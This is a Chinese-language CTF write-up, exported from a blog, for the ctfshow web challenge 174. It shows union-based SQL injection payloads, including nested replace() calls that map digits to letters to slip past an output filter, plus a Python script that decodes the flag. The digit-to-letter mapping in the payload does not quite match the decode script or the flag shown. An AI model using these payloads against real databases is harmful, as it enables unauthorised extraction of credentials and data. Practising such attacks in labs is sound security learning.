{"id":53,"date":"2026-05-02T21:59:35","date_gmt":"2026-05-02T13:59:35","guid":{"rendered":"https:\/\/mdhei.xyz\/?p=53"},"modified":"2026-05-08T09:51:23","modified_gmt":"2026-05-08T01:51:23","slug":"ctfshow-web%e5%85%a5%e9%97%a8174","status":"publish","type":"post","link":"https:\/\/mdhei.xyz\/index.php\/2026\/05\/02\/ctfshow-web%e5%85%a5%e9%97%a8174\/","title":{"rendered":"ctfshow web\u5165\u95e8174"},"content":{"rendered":"\n

\u4e00\u9053sql\u6ce8\u5165\u9898<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u76f4\u63a5\u67e51\u53d1\u73b0\u65e0\u56de\u663e\uff0c\u770b\u5230\u8fd4\u56de\u903b\u8f91\u8fc7\u6ee4\u4e86\u6570\u5b57\uff0c\u4e8e\u662f<\/p>\n\n\n\n

-1\u2019 union select ‘a’,database()–+<\/p>\n\n\n\n

\u53ea\u8981\u6570\u636e\u540d\u4e2d\u6ca1\u6709\u6570\u5b57\uff0c\u5c31\u80fd\u8fd4\u56de\u7ed3\u679c<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5e93\u540d\u7206\u51fa\u6765\u4e86\uff0c\u4f46\u6839\u636e\u524d\u51e0\u9898\u7684\u7ecf\u9a8c\uff0c\u8868\u540d\u4e00\u822c\u662fctfshow_user[\u6570\u5b57],\u770b\u4e86wp\u5b66\u5230\u4e00\u4e2areplace\u51fd\u6570\uff0creplace(\u539f\u5b57\u7b26\u4e32\uff0c\u8981\u66ff\u6362\u7684\u5185\u5bb9\uff0c\u66ff\u6362\u540e\u7684\u5185\u5bb9\uff09\u4f8b\u5982replace(‘abc’,’a’,’1′)\u7ed3\u679c\u5c31\u662f1bc\u3002\u4e8e\u662f\u505a\u4e00\u4e2a\u6570\u5b57\u548c\u5b57\u6bcd\u7684\u6620\u5c04\u3002<\/p>\n\n\n\n

-1′ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(table_name,0,’_a_’),1,’_b_’),2,’_c_’),3,’_d_’),4,’_e_’),5,’_f_’),6,’_g_’),7,’_h_’),8,’_i_’),9,’_k_’) from information_schema.tables where table_schema = database()–+ \uff08\u4e0b\u5212\u7ebf\u7528\u6765\u533a\u5206\u539f\u6765\u5b57\u7b26\u4e32\u4e2d\u7684\u5b57\u6bcd\u548c\u66ff\u6362\u8fdb\u53bb\u7684\u5b57\u6bcd\uff09<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7136\u540e\u540c\u6837\u7684\u65b9\u6cd5\u7206\u5217\u540d<\/p>\n\n\n\n

\u7136\u540e\u7206password\u5b57\u6bb5<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6700\u540e\u5199\u4e2a\u811a\u672c\u63a8\u56de\u539f\u6765\u7684flag<\/p>\n\n\n\n

import re
content = “ctfshow{a__f__j__d_fed_b<\/em>–g__i_ef-_e_e_a__j<\/em>-a_a__d_d-b_c_b_i__e__e__i__h__e__a__e__a_}”
res2 = re.findall(r’_[a-z]_<\/em>‘,content)
res = re.sub(r’_([a-z])_<\/em>‘,lambda m: str(ord(m.group(1).lower())-ord(‘a’)),content)
print(res2)
print(res)<\/p>\n\n\n\n

\u5f97\u5230<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u77e5\u8bc6\u70b9\uff1asql\u4e2d\u7684replace(\u539f\u5b57\u7b26\u4e32\uff0c\u8981\u66ff\u6362\u7684\u5185\u5bb9\uff0c\u66ff\u6362\u540e\u7684\u5185\u5bb9)\u51fd\u6570<\/p>\n